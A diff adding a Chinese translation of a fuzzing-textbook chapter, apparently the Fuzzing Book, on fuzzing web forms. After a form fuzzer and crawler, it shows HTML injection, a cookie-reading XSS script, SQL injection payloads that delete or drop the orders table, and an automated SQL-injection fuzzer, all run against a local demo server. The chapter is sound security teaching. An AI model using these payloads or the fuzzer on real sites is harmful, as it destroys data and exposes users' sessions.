+为了使事情最方便，让我们定义一个`WebFormFuzzer`类，它可以在一处完成所有操作。 给定一个URL，它将提取其HTML内容，挖掘语法，然后为其生成输入。
+
+```py
+class WebFormFuzzer(GrammarFuzzer):
+    def __init__(self, url, **grammar_fuzzer_options):
+        html_text = self.get_html(url)
+        grammar = self.get_grammar(html_text)
+        super().__init__(grammar, **grammar_fuzzer_options)
+
+    def get_html(self, url):
+        return requests.get(url).text
+
+    def get_grammar(self, html_text):
+        grammar_miner = HTMLGrammarMiner(html_text)
+        return grammar_miner.mine_grammar()        
+
+```
+
+现在，模糊Web表单所需要做的就是提供其URL：
+
+```py
+web_form_fuzzer = WebFormFuzzer(httpd_url)
+web_form_fuzzer.fuzz()
+
+```
+
+```py
+'/order?item=lockset&name=%6b+&email=+%40b5&city=%7e+5&zip=65&terms=on&submit='
+
+```
+
+我们可以将模糊器与如上定义的`WebRunner`结合使用，以直接在Web服务器上运行结果模糊输入：
+
+```py
+web_form_runner = WebRunner(httpd_url)
+web_form_fuzzer.runs(web_form_runner, 10)
+
+```
+
+```py
+[('http://127.0.0.1:8800/order?item=drill&name=+%6d&email=%40%400&city=%64&zip=9&terms=on&submit=',
+  'PASS'),
+ ('http://127.0.0.1:8800/order?item=lockset&name=++&email=%63%40d&city=_&zip=6&terms=on&submit=',
+  'PASS'),
+ ('http://127.0.0.1:8800/order?item=lockset&name=+&email=d%40_-&city=2++0&zip=1040&terms=off&submit=',
+  'PASS'),
+ ('http://127.0.0.1:8800/order?item=tshirt&name=%4bb&email=%6d%40+&city=%7a%79+&zip=13&terms=off&submit=',
+  'PASS'),
+ ('http://127.0.0.1:8800/order?item=lockset&name=d&email=%55+%40%74&city=+&zip=4&terms=on&submit=',
+  'PASS'),
+ ('http://127.0.0.1:8800/order?item=tshirt&name=_+2&email=1++%40+&city=+&zip=30&terms=on&submit=',
+  'PASS'),
+ ('http://127.0.0.1:8800/order?item=tshirt&name=+&email=a-%40+&city=+%57&zip=2&terms=on&submit=',
+  'PASS'),
+ ('http://127.0.0.1:8800/order?item=lockset&name=%56&email=++%40a%55ee%44&city=+&zip=01&terms=off&submit=',
+  'PASS'),
+ ('http://127.0.0.1:8800/order?item=tshirt&name=%6fc&email=++%40+&city=a&zip=25&terms=off&submit=',
+  'PASS'),
+ ('http://127.0.0.1:8800/order?item=drill&name=55&email=3%3e%40%405&city=%4c&zip=0&terms=off&submit=',
+  'PASS')]
+
+```
+
+虽然使用方便，但该模糊器仍然非常初级：
+
+*   每页仅限一种形式。
+*   它仅支持`GET`操作（即，编码为URL的输入）。 完整的Web表单模糊测试器至少必须支持`POST`操作。
+*   模糊器仅基于HTML构建。 动态网页没有Java处理。
+
+在进入下一部分之前，让我们清除所有待处理的消息：
+
+```py
+clear_httpd_messages()
+
+```
+
+## 搜寻用户界面
+
+到目前为止，我们已经假设只有一种形式可以探索。 真正的Web服务器当然具有多个页面-可能还有多种形式。 我们定义了一个简单的*搜寻器*，该搜寻器探索了源自一页的所有链接。
+
+我们的搜寻器非常简单。 它的主要组成部分还是`HTMLParser`，它分析HTML代码中的链接形式
+
+```py
+<a href="<link>">
+
+```
+
+并将所有找到的链接保存在名为`links`的列表中。
+
+```py
+class LinkHTMLParser(HTMLParser):
+    def reset(self):
+        super().reset()
+        self.links = []
+
+    def handle_starttag(self, tag, attrs):
+        attributes = {attr_name: attr_value for attr_name, attr_value in attrs}
+
+        if tag == "a" and "href" in attributes:
+            # print("Found:", tag, attributes)
+            self.links.append(attributes["href"])
+
+```
+
+实际的搜寻器是作为*生成器函数* `crawl()`生成的，该函数一个接一个地生成URL。 默认情况下，它仅返回驻留在同一主机上的URL。 参数`max_pages`控制应扫描的页面数（默认值：1）。 我们还尊重远程站点上的`robots.txt`文件，以检查允许我们扫描的页面。
+
+```py
+from [collections](https://docs.python.org/3/library/collections.html) import deque
+import [urllib.robotparser](https://docs.python.org/3/library/urllib.robotparser.html)
+
+```
+
+```py
+def crawl(url, max_pages=1, same_host=True):
+    """Return the list of linked URLs from the given URL.  Accesses up to `max_pages`."""
+
+    pages = deque([(url, "<param>")])
+    urls_seen = set()
+
+    rp = urllib.robotparser.RobotFileParser()
+    rp.set_url(urljoin(url, "/robots.txt"))
+    rp.read()
+
+    while len(pages) > 0 and max_pages > 0:
+        page, referrer = pages.popleft()
+        if not rp.can_fetch("*", page):
+            # Disallowed by robots.txt
+            continue
+
+        r = requests.get(page)
+        max_pages -= 1
+
+        if r.status_code != HTTPStatus.OK:
+            print("Error " + repr(r.status_code) + ": " + page,
+                  "(referenced from " + referrer + ")",
+                  file=sys.stderr)
+            continue
+
+        content_type = r.headers["content-type"]
+        if not content_type.startswith("text/html"):
+            continue
+
+        parser = LinkHTMLParser()
+        parser.feed(r.text)
+
+        for link in parser.links:
+            target_url = urljoin(page, link)
+            if same_host and urlsplit(
+                    target_url).hostname != urlsplit(url).hostname:
+                # Different host
+                continue
+            if urlsplit(target_url).fragment != "":
+                # Ignore #fragments
+                continue
+
+            if target_url not in urls_seen:
+                pages.append((target_url, page))
+                urls_seen.add(target_url)
+                yield target_url
+
+        if page not in urls_seen:
+            urls_seen.add(page)
+            yield page
+
+```
+
+我们可以在我们自己的服务器上运行搜寻器，它会在其中快速返回订单页面和条款和条件页面。
+
+```py
+for url in crawl(httpd_url):
+    print_httpd_messages()
+    print_url(url)
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:43] "GET /robots.txt HTTP/1.1" 404 -
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:43] "GET / HTTP/1.1" 200 -
+
+```
+
+```py
+http://127.0.0.1:8800/terms
+```
+
+```py
+http://127.0.0.1:8800
+```
+
+我们还可以在其他站点上进行爬网，例如该项目的主页。
+
+```py
+for url in crawl("https://www.fuzzingbook.org/"):
+    print_url(url)
+
+```
+
+```py
+https://www.fuzzingbook.org/
+```
+
+```py
+https://www.fuzzingbook.org/html/00_Table_of_Contents.html
+```
+
+```py
+https://www.fuzzingbook.org/html/01_Intro.html
+```
+
+```py
+https://www.fuzzingbook.org/html/Intro_Testing.html
+```
+
+```py
+https://www.fuzzingbook.org/html/02_Lexical_Fuzzing.html
+```
+
+```py
+https://www.fuzzingbook.org/html/Fuzzer.html
+```
+
+```py
+https://www.fuzzingbook.org/html/Coverage.html
+```
+
+```py
+https://www.fuzzingbook.org/html/MutationFuzzer.html
+```
+
+```py
+https://www.fuzzingbook.org/html/GreyboxFuzzer.html
+```
+
+```py
+https://www.fuzzingbook.org/html/SearchBasedFuzzer.html
+```
+
+```py
+https://www.fuzzingbook.org/html/MutationAnalysis.html
+```
+
+```py
+https://www.fuzzingbook.org/html/03_Syntactical_Fuzzing.html
+```
+
+```py
+https://www.fuzzingbook.org/html/Grammars.html
+```
+
+```py
+https://www.fuzzingbook.org/html/GrammarFuzzer.html
+```
+
+```py
+https://www.fuzzingbook.org/html/GrammarCoverageFuzzer.html
+```
+
+```py
+https://www.fuzzingbook.org/html/Parser.html
+```
+
+```py
+https://www.fuzzingbook.org/html/ProbabilisticGrammarFuzzer.html
+```
+
+```py
+https://www.fuzzingbook.org/html/GeneratorGrammarFuzzer.html
+```
+
+```py
+https://www.fuzzingbook.org/html/GreyboxGrammarFuzzer.html
+```
+
+```py
+https://www.fuzzingbook.org/html/Reducer.html
+```
+
+```py
+https://www.fuzzingbook.org/html/04_Semantical_Fuzzing.html
+```
+
+```py
+https://www.fuzzingbook.org/html/GrammarMiner.html
+```
+
+```py
+https://www.fuzzingbook.org/html/InformationFlow.html
+```
+
+```py
+https://www.fuzzingbook.org/html/ConcolicFuzzer.html
+```
+
+```py
+https://www.fuzzingbook.org/html/SymbolicFuzzer.html
+```
+
+```py
+https://www.fuzzingbook.org/html/DynamicInvariants.html
+```
+
+```py
+https://www.fuzzingbook.org/html/05_Domain-Specific_Fuzzing.html
+```
+
+```py
+https://www.fuzzingbook.org/html/ConfigurationFuzzer.html
+```
+
+```py
+https://www.fuzzingbook.org/html/APIFuzzer.html
+```
+
+```py
+https://www.fuzzingbook.org/html/Carver.html
+```
+
+```py
+https://www.fuzzingbook.org/html/WebFuzzer.html
+```
+
+```py
+https://www.fuzzingbook.org/html/GUIFuzzer.html
+```
+
+```py
+https://www.fuzzingbook.org/html/06_Managing_Fuzzing.html
+```
+
+```py
+https://www.fuzzingbook.org/html/FuzzingInTheLarge.html
+```
+
+```py
+https://www.fuzzingbook.org/html/WhenToStopFuzzing.html
+```
+
+```py
+https://www.fuzzingbook.org/html/99_Appendices.html
+```
+
+```py
+https://www.fuzzingbook.org/html/ExpectError.html
+```
+
+```py
+https://www.fuzzingbook.org/html/Timer.html
+```
+
+```py
+https://www.fuzzingbook.org/html/ControlFlow.html
+```
+
+```py
+https://www.fuzzingbook.org/html/RailroadDiagrams.html
+```
+
+```py
+https://www.fuzzingbook.org/html/00_Index.html
+```
+
+```py
+https://www.fuzzingbook.org/dist/fuzzingbook-code.zip
+```
+
+```py
+https://www.fuzzingbook.org/dist/fuzzingbook-notebooks.zip
+```
+
+```py
+https://www.fuzzingbook.org/slides/Fuzzer.slides.html
+```
+
+```py
+https://www.fuzzingbook.org/DynamicInvariants
+```
+
+```py
+https://www.fuzzingbook.org/html/Tour.html
+```
+
+```py
+https://www.fuzzingbook.org/html/Guide_for_Authors.html
+```
+
+搜寻完站点的所有链接后，我们可以为发现的所有表单生成测试：
+
+```py
+for url in crawl(httpd_url, max_pages=float('inf')):
+    web_form_fuzzer = WebFormFuzzer(url)
+    web_form_runner = WebRunner(url)
+    print(web_form_fuzzer.run(web_form_runner))
+
+```
+
+```py
+('http://127.0.0.1:8800/terms', 'PASS')
+('http://127.0.0.1:8800/order?item=tshirt&name=+&email=b+%742%40+&city=%45%39&zip=54&terms=on&submit=', 'PASS')
+('http://127.0.0.1:8800/order?item=drill&name=%52-&email=e%40%3f&city=+&zip=5&terms=on&submit=', 'PASS')
+
+```
+
+为了获得更好的效果，可以集成爬网和模糊测试，还可以分析订单确认页面以获取更多链接。 我们将其作为练习留给读者。
+
+让我们摆脱上面累积的所有服务器消息：
+
+```py
+clear_httpd_messages()
+
+```
+
+## 制作网络攻击
+
+在结束本章之前，让我们看一看特殊的“不常见”输入类，它不仅会产生一般性故障，而且实际上允许*攻击者*随意操纵服务器。 我们将说明使用服务器的三种常见攻击，这些攻击实际上（事实是）很容易受到所有攻击的攻击。
+
+### HTML注入攻击
+
+我们研究的第一种攻击是 *HTML注入*。 HTML注入的想法是为Web服务器提供*数据，这些数据也可以解释为HTML* 。 如果此HTML数据随后在其Web浏览器中显示给用户，则它可能具有恶意目的，尽管（貌似）源自信誉良好的网站。 如果此数据也存储在*中*，则它将成为*持久性*攻击； 攻击者甚至不必诱使受害者进入特定页面。
+
+这是（简单）HTML注入的示例。 对于`name`字段，我们不仅使用纯文本，还嵌入HTML标签-在这种情况下，是指向恶意软件托管站点的链接。
+
+```py
+from [Grammars](Grammars.html) import extend_grammar
+
+```
+
+```py
+ORDER_GRAMMAR_WITH_HTML_INJECTION = extend_grammar(ORDER_GRAMMAR, {
+    "<name>": [cgi_encode('''
+ Jane Doe<p>
+ <strong><a href="www.lots.of.malware">Click here for cute cat pictures!</a></strong>
+ </p>
+ ''')],
+})
+
+```
+
+如果我们使用此语法来创建输入，则结果URL将以以下格式编码所有HTML：
+
+```py
+html_injection_fuzzer = GrammarFuzzer(ORDER_GRAMMAR_WITH_HTML_INJECTION)
+order_with_injected_html = html_injection_fuzzer.fuzz()
+order_with_injected_html
+
+```
+
+```py
+'/order?item=drill&name=%0a++++Jane+Doe%3cp%3e%0a++++%3cstrong%3e%3ca+href%3d%22www.lots.of.malware%22%3eClick+here+for+cute+cat+pictures!%3c%2fa%3e%3c%2fstrong%3e%0a++++%3c%2fp%3e%0a++++&email=j_smith%40example.com&city=Seattle&zip=02805'
+
+```
+
+如果将此字符串发送到Web服务器会发生什么情况？ 事实证明，HTML保留在确认页面中并显示为链接。 这也会在日志中发生：
+
+```py
+HTML(webbrowser(urljoin(httpd_url, order_with_injected_html)))
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:43] INSERT INTO orders VALUES ('drill', '
+    Jane Doe **[单击此处获取可爱的猫图片！  ](www.lots.of.malware)** 
+    ', 'j_smith@example.com', 'Seattle', '02805')
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:43] "GET /order?item=drill&name=%0a++++Jane+Doe%3cp%3e%0a++++%3cstrong%3e%3ca+href%3d%22www.lots.of.malware%22%3eClick+here+for+cute+cat+pictures!%3c%2fa%3e%3c%2fstrong%3e%0a++++%3c%2fp%3e%0a++++&email=j_smith%40example.com&city=Seattle&zip=02805 HTTP/1.1" 200 -
+
+```
+
+**Thank you for your Fuzzingbook Order!**
+
+我们将把**一本FuzzingBook旋转锤**发送给Jane Doe
+
+**[单击此处获取可爱的猫图片！](www.lots.of.malware)**
+
+in Seattle, 02805
+A confirmation mail will be sent to j_smith@example.com.
+
+Want more swag? Use our [order form](/)!
+
+由于链接看似来自受信任的来源，因此用户更有可能遵循该链接。 该链接甚至是持久性的，因为它存储在数据库中：
+
+```py
+print(db.execute("SELECT * FROM orders WHERE name LIKE '%<%'").fetchall())
+
+```
+
+```py
+[('drill', '\n    Jane Doe<p>\n    <strong><a href="www.lots.of.malware">Click here for cute cat pictures!</a></strong>\n    </p>\n    ', 'j_smith@example.com', 'Seattle', '02805')]
+
+```
+
+这意味着任何查询数据库的人（例如，处理订单的操作员）也将看到该链接，从而增加其影响。 通过精心制作注入的HTML，可以将恶意内容暴露给大量用户-直到最终删除注入的HTML。
+
+### 跨站点脚本攻击
+
+如果可以将HTML代码注入网页，则还可以将 *JavaScript* 代码作为注入的HTML的一部分。 此代码将在呈现注入的HTML之后立即执行。
+
+这特别危险，因为执行的JavaScript总是在包含它的页面的*起源*中执行。 因此，攻击者通常无法强迫用户以他无法控制的任何来源运行JavaScript。 但是，当攻击者可以将其代码注入易受攻击的Web应用程序时，他可以让客户端以（受信任的）Web应用程序为源运行代码。
+
+在这种*跨站点脚本*（ *XSS* ）攻击中，注入的脚本可以做的不仅仅是纯HTML。 例如，该代码可以访问敏感页面内容或会话cookie。 如果所讨论的代码在操作员的浏览器中运行（例如，由于操作员正在查看订单列表），则它可以检索屏幕上显示的任何其他信息，从而为各种客户窃取订单详细信息。
+
+这是一个非常简单的脚本注入示例。 无论何时显示名称，它都会使浏览器“窃取”当前的*会话cookie* –浏览器用来识别服务器用户的数据。 就我们而言，我们可以窃取Jupyter会话的cookie。
+
+```py
+ORDER_GRAMMAR_WITH_XSS_INJECTION = extend_grammar(ORDER_GRAMMAR, {
+    "<name>": [cgi_encode('Jane Doe' +
+                          '<script>' +
+                          'document.title = document.cookie.substring(0, 10);' +
+                          '</script>')
+               ],
+})
+
+```
+
+```py
+xss_injection_fuzzer = GrammarFuzzer(ORDER_GRAMMAR_WITH_XSS_INJECTION)
+order_with_injected_xss = xss_injection_fuzzer.fuzz()
+order_with_injected_xss
+
+```
+
+```py
+'/order?item=lockset&name=Jane+Doe%3cscript%3edocument.title+%3d+document.cookie.substring(0,+10)%3b%3c%2fscript%3e&email=j.doe%40example.com&city=Seattle&zip=34506'
+
+```
+
+```py
+url_with_injected_xss = urljoin(httpd_url, order_with_injected_xss)
+url_with_injected_xss
+
+```
+
+```py
+'http://127.0.0.1:8800/order?item=lockset&name=Jane+Doe%3cscript%3edocument.title+%3d+document.cookie.substring(0,+10)%3b%3c%2fscript%3e&email=j.doe%40example.com&city=Seattle&zip=34506'
+
+```
+
+```py
+HTML(webbrowser(url_with_injected_xss, mute=True))
+
+```
+
+**Thank you for your Fuzzingbook Order!**
+
+我们将向西雅图的简·多伊（Jane Doe）发送**一本FuzzingBook锁套**，地址为34506
+，确认邮件将发送至j.doe@example.com。
+
+Want more swag? Use our [order form](/)!
+
+该消息看起来一如既往-但是，如果您查看浏览器的标题，现在应该显示``秘密''笔记本cookie的前10个字符。 该脚本除了可以在标题中不显示其前缀之外，还可以将Cookie静默发送到远程服务器，从而使攻击者可以劫持您当前的笔记本会话并代表您与服务器进行交互。 它也可以访问并发送浏览器中显示或可用的其他任何数据。 它可以运行*键盘记录程序*，并在键入密码时窃取密码和其他敏感数据。同样，每次在浏览器中显示带有Jane Doe名称的被破坏的顺序并执行关联的脚本时，它都将这样做。 。
+
+让我们将标题重置为一个不太敏感的值：
+
+```py
+HTML('<script>document.title = "Jupyter"</script>')
+
+```
+
+### SQL Injection Attacks
+
+跨站点脚本具有与网页相同的特权-最值得注意的是，它们无法在浏览器之外访问或更改数据。 所谓的 *SQL注入*以*数据库*为目标，从而允许注入可以读取或修改数据库中数据的命令，或者更改原始查询的目的。
+
+为了了解SQL注入的工作原理，让我们看一下生成SQL命令以将新订单插入数据库的代码：
+
+```py
+sql_command = ("INSERT INTO orders " +
+    "VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values))
+
+```
+
+如果任何一个值（例如`name`）的值都可以将*解释为SQL命令，该怎么办？* 然后，我们将执行`name`施加的命令，而不是预期的`INSERT`命令。
+
+让我们通过一个例子来说明。 我们设置在执行过程中会发现的各个值：
+
+```py
+values = {
+    "item": "tshirt",
+    "name": "Jane Doe",
+    "email": "j.doe@example.com",
+    "city": "Seattle",
+    "zip": "98104"
+}
+
+```
+
+并格式化字符串，如上所示：
+
+```py
+sql_command = ("INSERT INTO orders " +
+               "VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values))
+sql_command
+
+```
+
+```py
+"INSERT INTO orders VALUES ('tshirt', 'Jane Doe', 'j.doe@example.com', 'Seattle', '98104')"
+
+```
+
+没事吧？ 但是现在，我们定义了一个非常“特殊”的名称，该名称也可以解释为SQL命令：
+
+```py
+values["name"] = "Jane', 'x', 'x', 'x'); DELETE FROM orders; -- "
+
+```
+
+```py
+sql_command = ("INSERT INTO orders " +
+               "VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values))
+sql_command
+
+```
+
+```py
+"INSERT INTO orders VALUES ('tshirt', 'Jane', 'x', 'x', 'x'); DELETE FROM orders; -- ', 'j.doe@example.com', 'Seattle', '98104')"
+
+```
+
+此处发生的是，我们现在得到一个命令，用于将值插入数据库（带有一些“虚拟”值`x`），然后是一条SQL `DELETE`命令，该命令将*删除数据库中的所有条目* 订单表。 字符串`--`启动SQL *注释*，以便可以轻松忽略原始查询的其余部分。 通过制作也可以解释为SQL命令的字符串，攻击者可以更改或删除数据库数据，绕过身份验证机制等等。
+
+我们的服务器还容易受到此类攻击吗？ 当然是。 我们创建了一个特殊的语法，以便可以通过SQL注入将`<name>`参数设置为字符串，如上所示。
+
+```py
+from [Grammars](Grammars.html) import extend_grammar
+
+```
+
+```py
+ORDER_GRAMMAR_WITH_SQL_INJECTION = extend_grammar(ORDER_GRAMMAR, {
+    "<name>": [cgi_encode("Jane', 'x', 'x', 'x'); DELETE FROM orders; --")],
+})
+
+```
+
+```py
+sql_injection_fuzzer = GrammarFuzzer(ORDER_GRAMMAR_WITH_SQL_INJECTION)
+order_with_injected_sql = sql_injection_fuzzer.fuzz()
+order_with_injected_sql
+
+```
+
+```py
+"/order?item=drill&name=Jane',+'x',+'x',+'x')%3b+DELETE+FROM+orders%3b+--&email=j.doe%40example.com&city=New+York&zip=14083"
+
+```
+
+这些是当前订单：
+
+```py
+print(db.execute("SELECT * FROM orders").fetchall())
+
+```
+
+```py
+[('tshirt', 'Jane Doe', 'doe@example.com', 'Seattle', '98104'), ('lockset', 'Jane Doe', 'j_smith@example.com', 'Seattle', '16631'), ('drill', 'Jane Doe', 'j.doe@example.com', '', '45732'), ('drill', 'Jane Doe', 'j,doe@example.com', 'Seattle', '45732'), ('drill', ' ', '5F @p   a ', 'cdb', '3230'), ('drill', ' m', '@@0', 'd', '9'), ('lockset', '  ', 'c@d', '_', '6'), ('lockset', ' ', 'd@_-', '2  0', '1040'), ('tshirt', 'Kb', 'm@ ', 'zy ', '13'), ('lockset', 'd', 'U @t', ' ', '4'), ('tshirt', '_ 2', '1  @ ', ' ', '30'), ('tshirt', ' ', 'a-@ ', ' W', '2'), ('lockset', 'V', '  @aUeeD', ' ', '01'), ('tshirt', 'oc', '  @ ', 'a', '25'), ('drill', '55', '3>@@5', 'L', '0'), ('tshirt', ' ', 'b t2@ ', 'E9', '54'), ('drill', 'R-', 'e@?', ' ', '5'), ('drill', '\n    Jane Doe<p>\n    <strong><a href="www.lots.of.malware">Click here for cute cat pictures!</a></strong>\n    </p>\n    ', 'j_smith@example.com', 'Seattle', '02805'), ('lockset', 'Jane Doe<script>document.title = document.cookie.substring(0, 10);</script>', 'j.doe@example.com', 'Seattle', '34506')]
+
+```
+
+让我们开始，将带有SQL注入的URL发送到服务器。 从日志中，我们看到“恶意” SQL命令的形成与上面所概述的一样，并且也已执行。
+
+```py
+contents = webbrowser(urljoin(httpd_url, order_with_injected_sql))
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:43] INSERT INTO orders VALUES ('drill', 'Jane', 'x', 'x', 'x'); DELETE FROM orders; --', 'j.doe@example.com', 'New York', '14083')
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:43] "GET /order?item=drill&name=Jane',+'x',+'x',+'x')%3b+DELETE+FROM+orders%3b+--&email=j.doe%40example.com&city=New+York&zip=14083 HTTP/1.1" 200 -
+
+```
+
+现在所有订单都消失了：
+
+```py
+print(db.execute("SELECT * FROM orders").fetchall())
+
+```
+
+```py
+[]
+
+```
+
+在非常受欢迎的XKCD漫画中也说明了这种效果[：](https://xkcd.com/327/)
+
+![https://xkcd.com/327/](img/da2ed6c73a15bdb149d27aff0d322602.jpg) {width = 100％}
+
+即使我们不能执行任意命令，也可以通过破坏订单数据库来提供多种可能性。 例如，我们可以使用现有人员的地址和匹配的信用卡号来进行验证并提交订单，而只是将订单发送到我们选择的地址。 我们还可以使用SQL注入来注入上述HTML和JavaScript代码，从而绕开针对这些域的可能的清理工作。
+
+为避免此类影响，补救措施是对所有第三方输入的*进行消毒-输入中的任何字符都不能解释为纯HTML，JavaScript或SQL。 这可以通过正确地*引用*和*转义*输入来实现。 [练习](#Exercises)提供了有关操作的说明。*
+
+### 泄漏内部信息
+
+为了构建上述SQL查询，我们使用了*内部信息* –例如，我们知道表的名称及其结构。 当然，攻击者不会知道这一点，因此无法进行攻击，对吗？ 不幸的是，事实证明，我们首先是将所有这些信息泄露给全世界。 我们的服务器产生的错误消息揭示了我们所需的一切：
+
+```py
+answer = webbrowser(urljoin(httpd_url, "/order"), mute=True)
+
+```
+
+```py
+HTML(answer)
+
+```
+
+**Internal Server Error**
+
+The server has encountered an internal error. Go to our [order form](/).
+
+```py
+Traceback (most recent call last):
+  File "", line 8, in do_GET
+    self.handle_order()
+  File "<ipython-input-27-5f6d443bea4f>", line 4, in handle_order
+    self.store_order(values)
+  File "<ipython-input-28-e2f199af34d4>", line 5, in store_order
+    sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
+KeyError: 'item'</ipython-input-28-e2f199af34d4></ipython-input-27-5f6d443bea4f> 
+```
+
+避免因故障而导致信息泄漏的最佳方法当然是首先不要失败。 但是，如果失败了，攻击者将很难在攻击和失败之间建立联系。 不要产生“内部错误”消息（当然也不要产生带有内部信息的消息）； 不会变得迟钝 只需返回首页并要求用户提供正确的数据即可。 再有[练习](#Exercises)提供了一些有关如何修复服务器的说明。
+
+如果您不仅可以操纵服务器来更改信息，还可以操纵*检索*信息，则可以通过访问特殊的*表*（也称为*数据字典）来了解表名和结构。* ），其中数据库服务器存储其元数据。 例如，在MySQL服务器中，特殊表`information_schema`保存元数据，例如数据库和表的名称，列的数据类型或访问权限。
+
+## 全自动Web攻击
+
+到目前为止，我们已经使用手动编写的顺序语法演示了上述攻击。 但是，这些攻击也适用于生成的语法。 我们通过添加一些常见的SQL注入攻击来扩展`HTMLGrammarMiner`：
+
+```py
+class SQLInjectionGrammarMiner(HTMLGrammarMiner):
+    ATTACKS = [
+        "<string>' <sql-values>); <sql-payload>; <sql-comment>",
+        "<string>' <sql-comment>",
+        "' OR 1=1<sql-comment>'",
+        "<number> OR 1=1",
+    ]
+
+    def __init__(self, html_text, sql_payload):
+        super().__init__(html_text)
+
+        self.QUERY_GRAMMAR = extend_grammar(self.QUERY_GRAMMAR, {
+            "<text>": ["<string>", "<sql-injection-attack>"],
+            "<number>": ["<digits>", "<sql-injection-attack>"],
+            "<checkbox>": ["<_checkbox>", "<sql-injection-attack>"],
+            "<email>": ["<_email>", "<sql-injection-attack>"],
+            "<sql-injection-attack>": [
+                cgi_encode(attack, "<->") for attack in self.ATTACKS
+            ],
+            "<sql-values>": ["", cgi_encode("<sql-values>, '<string>'", "<->")],
+            "<sql-payload>": [cgi_encode(sql_payload)],
+            "<sql-comment>": ["--", "#"],
+        })
+
+```
+
+```py
+html_miner = SQLInjectionGrammarMiner(
+    html_text, sql_payload="DROP TABLE orders")
+
+```
+
+```py
+grammar = html_miner.mine_grammar()
+grammar
+
+```
+
+```py
+{'<start>': ['<action>?<query>'],
+ '<string>': ['<letter>', '<letter><string>'],
+ '<letter>': ['<plus>', '<percent>', '<other>'],
+ '<plus>': ['+'],
+ '<percent>': ['%<hexdigit-1><hexdigit>'],
+ '<hexdigit>': ['0',
+  '1',
+  '2',
+  '3',
+  '4',
+  '5',
+  '6',
+  '7',
+  '8',
+  '9',
+  'a',
+  'b',
+  'c',
+  'd',
+  'e',
+  'f'],
+ '<other>': ['0', '1', '2', '3', '4', '5', 'a', 'b', 'c', 'd', 'e', '-', '_'],
+ '<text>': ['<string>', '<sql-injection-attack>'],
+ '<number>': ['<digits>', '<sql-injection-attack>'],
+ '<digits>': ['<digit>', '<digits><digit>'],
+ '<digit>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
+ '<checkbox>': ['<_checkbox>', '<sql-injection-attack>'],
+ '<_checkbox>': ['on', 'off'],
+ '<email>': ['<_email>', '<sql-injection-attack>'],
+ '<_email>': ['<string>%40<string>'],
+ '<hexdigit-1>': ['3', '4', '5', '6', '7'],
+ '<submit>': [''],
+ '<sql-injection-attack>': ["<string>'+<sql-values>)%3b+<sql-payload>%3b+<sql-comment>",
+  "<string>'+<sql-comment>",
+  "'+OR+1%3d1<sql-comment>'",
+  '<number>+OR+1%3d1'],
+ '<sql-values>': ['', "<sql-values>,+'<string>'"],
+ '<sql-payload>': ['DROP+TABLE+orders'],
+ '<sql-comment>': ['--', '#'],
+ '<action>': ['/order'],
+ '<item>': ['item=<item-value>'],
+ '<item-value>': ['tshirt', 'drill', 'lockset'],
+ '<name>': ['name=<text>'],
+ '<email-1>': ['email=<email>'],
+ '<city>': ['city=<text>'],
+ '<zip>': ['zip=<number>'],
+ '<terms>': ['terms=<checkbox>'],
+ '<submit-1>': ['submit=<submit>'],
+ '<query>': ['<item>&<name>&<email-1>&<city>&<zip>&<terms>&<submit-1>']}
+
+```
+
+```py
+grammar["<text>"]
+
+```
+
+```py
+['<string>', '<sql-injection-attack>']
+
+```
+
+我们看到，现在已经测试了几个字段的漏洞：
+
+```py
+sql_fuzzer = GrammarFuzzer(grammar)
+sql_fuzzer.fuzz()
+
+```
+
+```py
+"/order?item=lockset&name=4+OR+1%3d1&email=%66%40%3ba&city=%7a&zip=99&terms=1'+#&submit="
+
+```
+
+```py
+print(db.execute("SELECT * FROM orders").fetchall())
+
+```
+
+```py
+[]
+
+```
+
+```py
+contents = webbrowser(urljoin(httpd_url,
+                              "/order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104"))
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:43] INSERT INTO orders VALUES ('tshirt', 'Jane Doe', 'doe@example.com', 'Seattle', '98104')
+
+```
+
+```py
+127.0.0.1 - - [21/May/2019 20:16:43] "GET /order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104 HTTP/1.1" 200 -
+
+```
+
+```py
+def orders_db_is_empty():
+    try:
+        entries = db.execute("SELECT * FROM orders").fetchall()
+    except sqlite3.OperationalError:
+        return True
+    return len(entries) == 0
+
+```
+
+```py
+orders_db_is_empty()
+
+```
+
+```py
+False
+
+```
+
+```py
+class SQLInjectionFuzzer(WebFormFuzzer):
+    def __init__(self, url, sql_payload="", **kwargs):
+        self.sql_payload = sql_payload
+        super().__init__(url, **kwargs)
+
+    def get_grammar(self, html_text):
+        grammar_miner = SQLInjectionGrammarMiner(
+            html_text, sql_payload=self.sql_payload)
+        return grammar_miner.mine_grammar()
+
+```
+
+```py
+sql_fuzzer = SQLInjectionFuzzer(httpd_url, "DELETE FROM orders")
+web_runner = WebRunner(httpd_url)
+trials = 1
+
+while True:
+    sql_fuzzer.run(web_runner)
+    if orders_db_is_empty():
+        break
+    trials += 1
+
+```
+
+```py
+trials
+
+```
+
+```py
+68
+
+```
+
+我们的攻击成功了！ 经过不到一秒钟的测试，我们的数据库为空：
+
+```py
+orders_db_is_empty()
+
+```
+
+```py
+True
+
+```
+
+同样，请注意可能的自动化级别：
+
+*   搜寻主机的网页以获取可能的形式
+*   自动识别表单字段和可能的值
+*   将SQL（或HTML或JavaScript）注入以下任何字段
+
+以及所有这些都是全自动的，只需要网站的URL即可。
+
+坏消息是，使用上述工具集，任何人都可以攻击网站。 更糟糕的是，这种渗透测试每天都在每个网站上进行。 不过，好消息是，在阅读了本章之后，您将了解Web服务器每天如何受到攻击-以及作为Web服务器维护者可以采取哪些措施来防止这种情况。
+
+## 经验教训
+
+*   用户界面（在Web和其他地方）应使用*预期的*和*意外的*值进行测试。
+*   可以*从用户界面*挖掘语法，从而对其进行广泛的测试。
